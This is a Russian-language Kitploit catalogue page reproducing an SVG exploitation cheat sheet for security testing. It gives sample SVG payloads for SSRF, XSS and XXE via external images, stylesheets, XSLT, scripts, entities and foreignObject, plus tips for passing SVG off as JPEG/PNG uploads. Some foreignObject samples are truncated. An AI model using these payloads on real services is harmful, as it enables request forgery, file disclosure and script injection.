Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
svg-cheatsheet — Шпаргалка по эксплуатации серверных SVG-процессоров. | Kitploit
Инструменты/GitHubGitHub/allanlw/svg-cheatsheet
Анализ уязвимостейЭксплуатация веб-приложенийСбор информацииВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеПодобранные Ресурсы
GitHuballanlw/svg-cheatsheet

svg-cheatsheet

Шпаргалка по эксплуатации серверных SVG-процессоров.

Репозиторий
80210256 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Шпаргалка по SSRF в SVG

Хосты, обрабатывающие SVG, потенциально могут быть уязвимы к SSRF, LFI, XSS и RCE из-за богатого набора функций SVG.

Все эти методы указывают URI, который может быть абсолютным или относительным. Протоколы file и HTTP важно протестировать, но в зависимости от реализации могут поддерживаться и другие протоколы (например, схемы потоков PHP), включая javascript: и data:.

Этот документ содержит список всех известных мне способов злоупотребления этой функциональностью в SVG.

Обратите внимание, что некоторые сервисы, которые заявляют, что не принимают SVG в качестве входного формата, на самом деле принимают его с небольшой хитростью.

  • Для загрузок отправляйте mime-тип и имя файла JPEG/PNG.
  • Для скачиваний используйте имя файла и mime-тип JPEG/PNG. В случае отказа проверьте URL на TOCTOU (двойную выборку) и то, следует ли он перенаправлениям.
  • Я такого не видел, но путаница с MIME-сниффингом, вероятно, тоже возможна, поскольку SVG сложно распознать сниффингом: он может начинаться с лишнего XML-мусора. Насколько мне известно, стандартная команда file не содержит магических сигнатур для SVG, так что, скорее всего, всё зависит от конкретных реализаций.

Изображения

SVG может включать внешние изображения напрямую через тег <image>.

root@kitploit:~
<svg width="200" height="200"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>

Обратите внимание, что таким образом можно включать и изображения других SVG.

Тег <use>

SVG может включать внешнее SVG-содержимое через тег <use>.

file1.svg:

root@kitploit:~
<svg width="200" height="200"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <use xlink:href="https://example.com/file2.svg#foo"/>
</svg>

file2.svg:

root@kitploit:~
<svg width="200" height="200"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
</svg>

CSS

CSS-таблица стилей <link>

SVG может включать внешние таблицы стилей через тег <link>, как и HTML.

root@kitploit:~
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
	<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
</svg>

CSS-таблица стилей через @include

root@kitploit:~
<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import url(http://example.com/style.css);
  </style>
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
</svg>

CSS-таблица стилей через <?xml-stylesheet?>

root@kitploit:~
<?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
</svg>

XSLT

SVG-файлы могут включать XSLT-таблицы стилей через <?xml-stylesheet?>. Удивительно, но это, похоже, действительно работает в Chrome.

root@kitploit:~
<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
     xmlns="http://www.w3.org/2000/svg">
  <rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
root@kitploit:~
<?xml version="1.0"?>

<xsl:stylesheet version="1.0"
                xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns="http://www.w3.org/2000/svg"
        xmlns:svg="http://www.w3.org/2000/svg">
  <xsl:output
      method="xml"
      indent="yes"
      standalone="no"
      doctype-public="-//W3C//DTD SVG 1.1//EN"
      doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
      media-type="image/svg" />

  <xsl:template match="/svg:svg">
    <svg width="10cm" height="5cm"
       xmlns="http://www.w3.org/2000/svg">
    <rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
  </svg>
  </xsl:template>
</xsl:stylesheet>

Примечание: из-за природы XSLT входные данные на самом деле не обязаны быть корректным SVG-файлом, если xml-stylesheet игнорируется, но это полезно для обхода фильтров.

Кроме того, поскольку у меня нет желания изучать XSLT, этот шаблон просто полностью заменяет «старое» изображение новым.

JavaScript

Встроенный

SVG может изначально включать встроенный JavaScript, как и HTML.

root@kitploit:~
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
  <script type="text/javascript">
    // <![CDATA[
      document.getElementById("foo").setAttribute("fill", "blue");
   // ]]>
  </script>
</svg>

Внешний

SVG также может включать внешние скрипты.

root@kitploit:~
<svg width="100%" height="100%" viewBox="0 0 100 100"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo" o="foo"/>
  <script src="http://example.com/script.js" type="text/javascript"/>
</svg>

Встроенный в событие

SVG также может иметь встроенные обработчики событий, которые выполняются при загрузке (onload).

root@kitploit:~
<svg width="100%" height="100%" viewBox="0 0 100 100"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo" o="foo"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>

Вы также можете привязывать обработчики к анимациям и некоторым другим событиям. Читайте спецификацию SVG.

XXE

Поскольку SVG — это XML, в нём тоже могут быть XXE:

root@kitploit:~
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
  <!-- an internal subset can be embedded here -->
  <!ENTITY xxe SYSTEM "https://example.com/foo.txt">
]>
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <text x="20" y="35">My &xxe;</text>
</svg>

<foreignObject>

Тег <foreignObject> просто безумен. Его можно использовать для включения произвольного (X)HTML в SVG.

Например, чтобы включить iframe:

root@kitploit:~
<svg width="500" height="500"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>

  <foreignObject width="500" height="500">
    
  </foreignObject>
</svg>

Если у вас нет сетевого доступа (например, в песочнице), вы можете поместить data URI или javascript URI в качестве цели iframe:

root@kitploit:~
<svg width="500" height="500"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>

  <foreignObject width="500" height="500">
     
k   
  </foreignObject>
</svg>

Если вам мало SVG, вы также можете включить дополнительные SVG через теги <object> или <embed>. Думаю, теоретически туда можно поместить и Flash.

Обратите также внимание, что, поскольку вы находитесь в другом XML-пространстве имён, всё, что удаляло только svg:script, могло не удалить html:script (или аналогично для атрибутов).

Прочее

Подключать внешние шрифты, если вам когда-нибудь это понадобится, тоже возможно, думаю, как через CSS, так и через нативные атрибуты. Впрочем, это не особо полезно, потому что веб-шрифты требуют CORS по причине, которую я не совсем понимаю, связанной с DRM для ресурсов шрифтов, чтобы предотвратить хотлинкинг. Хотя, полагаю, иногда встречаются уязвимости в движках шрифтов.

Текст

Этот пример из спецификации SVG показывает использование узла tref для ссылки на текст по URI, однако он, похоже, не работает ни в одном просмотрщике, который я пробовал. Если существует реализация, поддерживающая это, она может также поддерживать внешние URI для href в tref.

root@kitploit:~
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" 
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="10cm" height="3cm" viewBox="0 0 1000 300"
     xmlns="http://www.w3.org/2000/svg" version="1.1"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <text id="ReferencedText">
      Referenced character data
    </text>
  </defs>
  <desc>Example tref01 - inline vs reference text content</desc>
  <text x="100" y="100" font-size="45" fill="blue" >
    Inline character data
  </text>
  <text x="100" y="200" font-size="45" fill="red" >
    <tref xlink:href="#ReferencedText"/>
  </text>
  <!-- Show outline of canvas using 'rect' element -->
  <rect x="1" y="1" width="998" height="298"
        fill="none" stroke="blue" stroke-width="2" />
</svg>

Улучшения

Если вы знаете о каких-либо других методах или соответствующей информации/примерах, не стесняйтесь открыть issue/PR.

Если вы нашли это полезным, я буду признателен, если вы дадите мне знать! Это делает мой день.

root@kitploit:~
Copyright 2019 Allan Wirth <[email protected]>.

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Скачать инструмент